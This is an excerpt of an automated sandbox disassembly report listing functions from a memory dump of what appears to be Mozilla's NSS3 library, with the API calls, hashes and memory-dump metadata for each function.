Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 08a814010477ba3e9cef51b0084330aeeded692219fe2b1cf0d45121b2ea3a25
Instruction ID: 4f1b9e34d5109a7af3824989d9aaa055cedd0818de99bc5e542b39907f325abc
Opcode Fuzzy Hash: 08a814010477ba3e9cef51b0084330aeeded692219fe2b1cf0d45121b2ea3a25
Instruction Fuzzy Hash: A0C181B1A002199FDB20CF65CD84BDAB7B4BB48318F1442B8E94897741E775EE96CF90

Function 6C773C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C773C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C773C94

Part of subcall function 6C7695B0: TlsGetValue.KERNEL32(00000000,?,6C7800D2,00000000), ref: 6C7695D2
Part of subcall function 6C7695B0: EnterCriticalSection.KERNEL32(?,?,?,6C7800D2,00000000), ref: 6C7695E7
Part of subcall function 6C7695B0: PR_Unlock.NSS3(?,?,?,?,6C7800D2,00000000), ref: 6C769605

PORT_NewArena_Util.NSS3(00000800), ref: 6C773CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C773CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C773CE1

Part of subcall function 6C773090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C78AE42), ref: 6C7730AA
Part of subcall function 6C773090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7730C7
Part of subcall function 6C773090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7730E5
Part of subcall function 6C773090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C773116
Part of subcall function 6C773090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C77312B
Part of subcall function 6C773090: PK11_DestroyObject.NSS3(?,?), ref: 6C773154
Part of subcall function 6C773090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77317E

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 79ad880054f289574eeee487fee141b761c281332688d53d9f8f7fcbeeb76b0a
Instruction ID: f7ac3db442610a0cb3f5614d559b8640771e87c80ea69c5879426a3d9a1ea2b9
Opcode Fuzzy Hash: 79ad880054f289574eeee487fee141b761c281332688d53d9f8f7fcbeeb76b0a
Instruction Fuzzy Hash: C161E6B5A00204AFEF205F65DE49FAB76A9AF04748F084138FE099AA52F761D814C7B1

Function 6C7B3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C7B3440: PK11_GetAllTokens.NSS3 ref: 6C7B3481
Part of subcall function 6C7B3440: PR_SetError.NSS3(00000000,00000000), ref: 6C7B34A3
Part of subcall function 6C7B3440: TlsGetValue.KERNEL32 ref: 6C7B352E
Part of subcall function 6C7B3440: EnterCriticalSection.KERNEL32(?), ref: 6C7B3542
Part of subcall function 6C7B3440: PR_Unlock.NSS3(?), ref: 6C7B355B

TlsGetValue.KERNEL32 ref: 6C7B3D8B
EnterCriticalSection.KERNEL32(?), ref: 6C7B3D9F
PR_Unlock.NSS3(?), ref: 6C7B3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C7B3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C7B3E4F

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

TlsGetValue.KERNEL32 ref: 6C7B3E97
EnterCriticalSection.KERNEL32(?), ref: 6C7B3EAB
PR_Unlock.NSS3(?), ref: 6C7B3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C7B3EEE

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: cde38fee0798f710937148695eb03b8099f34c9aa86dcf0776043b3122d50a9c
Instruction ID: 0e9164fb867bd5424a3b852933837e13930706e5b182bea562dce595424da3d3
Opcode Fuzzy Hash: cde38fee0798f710937148695eb03b8099f34c9aa86dcf0776043b3122d50a9c
Instruction Fuzzy Hash: 9C512871A006009FEB21AF29DE48B6A73B8AF4531CF05457AEE0567A12EF31E994C7D1

Function 6C762C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(EDACB91A), ref: 6C762C5D

Part of subcall function 6C7C0D30: calloc.MOZGLUE ref: 6C7C0D50
Part of subcall function 6C7C0D30: TlsGetValue.KERNEL32 ref: 6C7C0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C762C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C762CE0

Part of subcall function 6C762E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C762CDA,?,00000000), ref: 6C762E1E
Part of subcall function 6C762E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C762E33
Part of subcall function 6C762E00: TlsGetValue.KERNEL32 ref: 6C762E4E
Part of subcall function 6C762E00: EnterCriticalSection.KERNEL32(?), ref: 6C762E5E
Part of subcall function 6C762E00: PL_HashTableLookup.NSS3(?), ref: 6C762E71
Part of subcall function 6C762E00: PL_HashTableRemove.NSS3(?), ref: 6C762E84
Part of subcall function 6C762E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C762E96
Part of subcall function 6C762E00: PR_Unlock.NSS3 ref: 6C762EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C762D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C762D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C762D3F
free.MOZGLUE(00000000), ref: 6C762D73
CERT_DestroyCertificate.NSS3(?), ref: 6C762DB8
free.MOZGLUE ref: 6C762DC8

Part of subcall function 6C763E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C763EC2
Part of subcall function 6C763E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C763ED6
Part of subcall function 6C763E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C763EEE
Part of subcall function 6C763E60: PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C763F02
Part of subcall function 6C763E60: PL_FreeArenaPool.NSS3 ref: 6C763F14
Part of subcall function 6C763E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C763F27

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 5717e7257f0d504e8d0107a09908213aefd58cd676e03b1063e0cac1af6d43c8
Instruction ID: c15174ccc39f83a98bbe7c4171edda0d8386587603da2477c42e08d002c918c2
Opcode Fuzzy Hash: 5717e7257f0d504e8d0107a09908213aefd58cd676e03b1063e0cac1af6d43c8
Instruction Fuzzy Hash: 1351EF71A042129BEB519F2ACE8AB5B77E5EF84348F14083CEC5593F51EB31E814CB92

Function 6C767CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7640D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C763F7F,?,00000055,?,?,6C761666,?,?), ref: 6C7640D9
Part of subcall function 6C7640D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C761666,?,?), ref: 6C7640FC
Part of subcall function 6C7640D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C761666,?,?), ref: 6C764138

PR_GetCurrentThread.NSS3 ref: 6C767CFD

Part of subcall function 6C829BF0: TlsGetValue.KERNEL32(?,?,?,6C870A75), ref: 6C829C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C889030), ref: 6C767D1B

Part of subcall function 6C7BFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C761A3E,00000048,00000054), ref: 6C7BFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C889048), ref: 6C767D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C767D50
PR_GetCurrentThread.NSS3 ref: 6C767D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C767D7D
free.MOZGLUE(?), ref: 6C767D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C767DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C767E19

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 641c653b846513bd9fdbc7bca23832f8449e1e0d4b71adb81bc1621aae07f4a4
Instruction ID: ad78b55ed3768c9f6b3fc017d868194bb0629ce14f9c033caad1f0f0becaef0b
Opcode Fuzzy Hash: 641c653b846513bd9fdbc7bca23832f8449e1e0d4b71adb81bc1621aae07f4a4
Instruction Fuzzy Hash: B141E976A0011A9BDB108E6ADE46BAF33E4AF5039CF050874EC19A7F51E730E955C7E1

Function 6C777EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C7780DD), ref: 6C777F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C7780DD), ref: 6C777F36
free.MOZGLUE(?,?,?,6C7780DD), ref: 6C777F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C7780DD), ref: 6C777F5D
DeleteCriticalSection.KERNEL32(?,6C7780DD), ref: 6C777F94
free.MOZGLUE(?), ref: 6C777F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C7780DD), ref: 6C777FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C7780DD), ref: 6C777FE6
free.MOZGLUE(?,6C7780DD), ref: 6C77802D

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 5f19e57028648cb7ca654ea00b76706f37ff54a98ef333f7ff8ae728a81df32c
Instruction ID: 0570674034aa7aa2d6f8e931bb627dba34c7a6d69a290b708165916c6729ccad
Opcode Fuzzy Hash: 5f19e57028648cb7ca654ea00b76706f37ff54a98ef333f7ff8ae728a81df32c
Instruction Fuzzy Hash: F941D3B1B012048BDF309FB98E8DA4A37B9AB4635CF14123AE91593B81DB34E515CBF1

Function 6C7BFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7BFF00

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C7BFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C7BFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C7BFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C7BFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C7BFF8C

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: bf59a8d6560d010ee7035813c99922a816565209b132c21f75439afdc838a67f
Instruction ID: 4a9d88b7f6592f2562e08fc8595fed532c4939175f3f61dd97b7bf7c87891bd5
Opcode Fuzzy Hash: bf59a8d6560d010ee7035813c99922a816565209b132c21f75439afdc838a67f
Instruction Fuzzy Hash: 733124FEA017229FE7208E688E44B5B76A8AF46B48F150139ED18A7B41F770D914C7D2

Function 6C707D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C707E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C707E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C707EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C707F2E

Strings

%s at line %d of [%.10s], xrefs: 6C707EE7, 6C707F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C707ED8, 6C707F08, 6C707F19
database corruption, xrefs: 6C707EE2, 6C707F23

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 49b50307bc969e291c8b6d9db49e3b6f321bb58101e9d4845382401033d77f8d
Instruction ID: 109065187482703da8a21b354919a94a7aab46ad866f4b4baefa3a597c136b48
Opcode Fuzzy Hash: 49b50307bc969e291c8b6d9db49e3b6f321bb58101e9d4845382401033d77f8d
Instruction Fuzzy Hash: A361BFB0B052459FCB15CF68C980BAA37A6BF45308F1449B8EC095FB52D731EC56CBA1

Function 6C6EFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6EFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6EFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6EFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6EFE83

Part of subcall function 6C6EFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C6EFEFA
Part of subcall function 6C6EFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C6EFF3B

Strings

%s at line %d of [%.10s], xrefs: 6C6EFD73, 6C6EFE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6EFD64, 6C6EFE26
database corruption, xrefs: 6C6EFD6E, 6C6EFE30

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 277f3644340a5cf4f42993004d5b43c592112d006c7b31aee8d4b361cee1bbd8
Instruction ID: 632df51c8a6442cc492522f206c7cc37dd86516d68a5d3614f5d6601be3e39fb
Opcode Fuzzy Hash: 277f3644340a5cf4f42993004d5b43c592112d006c7b31aee8d4b361cee1bbd8
Instruction Fuzzy Hash: 71519170A05205DFDB14CFA9D980AAEBBF1EF4C308F14446AE905AB752E731EC51CBA5

Function 6C7B5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]{l), ref: 6C7B5F0A
TlsGetValue.KERNEL32 ref: 6C7B5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C7B5F2F
PR_Unlock.NSS3(890008E8), ref: 6C7B5F55
PR_SetError.NSS3(00000000,00000000), ref: 6C7B5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C7B5F7D

Part of subcall function 6C7B5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C7B5F82,8B4274C0), ref: 6C7B5248
Part of subcall function 6C7B5220: EnterCriticalSection.KERNEL32(0F6C880D,?,6C7B5F82,8B4274C0), ref: 6C7B525C
Part of subcall function 6C7B5220: PR_SetError.NSS3(00000000,00000000), ref: 6C7B528E
Part of subcall function 6C7B5220: PR_Unlock.NSS3(0F6C87F1), ref: 6C7B5299
Part of subcall function 6C7B5220: free.MOZGLUE(00000000), ref: 6C7B52A9

Strings

q]{l, xrefs: 6C7B5EDB, 6C7B5F09

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]{l
API String ID: 3150690610-510404680
Opcode ID: 4a2b5c15e8165dff6e724b5f155c45858da884e21573875762a1d394a4bcf438
Instruction ID: b58d7ee3da1bb6222b6156bc0da42cf7d3a80c8bcd386b3c6e3c019f2a0126ca
Opcode Fuzzy Hash: 4a2b5c15e8165dff6e724b5f155c45858da884e21573875762a1d394a4bcf438
Instruction Fuzzy Hash: 7221E7B1D002049FDB10AF68ED45AEEB7B4EF19308F540439E906A7741FB31A954CBE1

Function 6C778CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C78124D,00000001), ref: 6C778D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C78124D,00000001), ref: 6C778D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C78124D,00000001), ref: 6C778D73
PR_Unlock.NSS3(?,?,?,?,?,6C78124D,00000001), ref: 6C778D8C

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C78124D,00000001), ref: 6C778DBA

Strings

KRAM, xrefs: 6C778CF9
KRAM, xrefs: 6C778D3E

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: ad1ee922c20355e1715555b8f6c64e5fa5081c05087bd456a12b64d94e63d11b
Instruction ID: 3f0aa71230d537e0292e2390d823bf3293e33b23ab03f71d9572f5a3de809741
Opcode Fuzzy Hash: ad1ee922c20355e1715555b8f6c64e5fa5081c05087bd456a12b64d94e63d11b
Instruction Fuzzy Hash: 002171B16046058FCF10EF38C68955ABBF0FF59318F15897AD8989B701E730D841CBA1

Function 6C870ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C870EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C870EFA

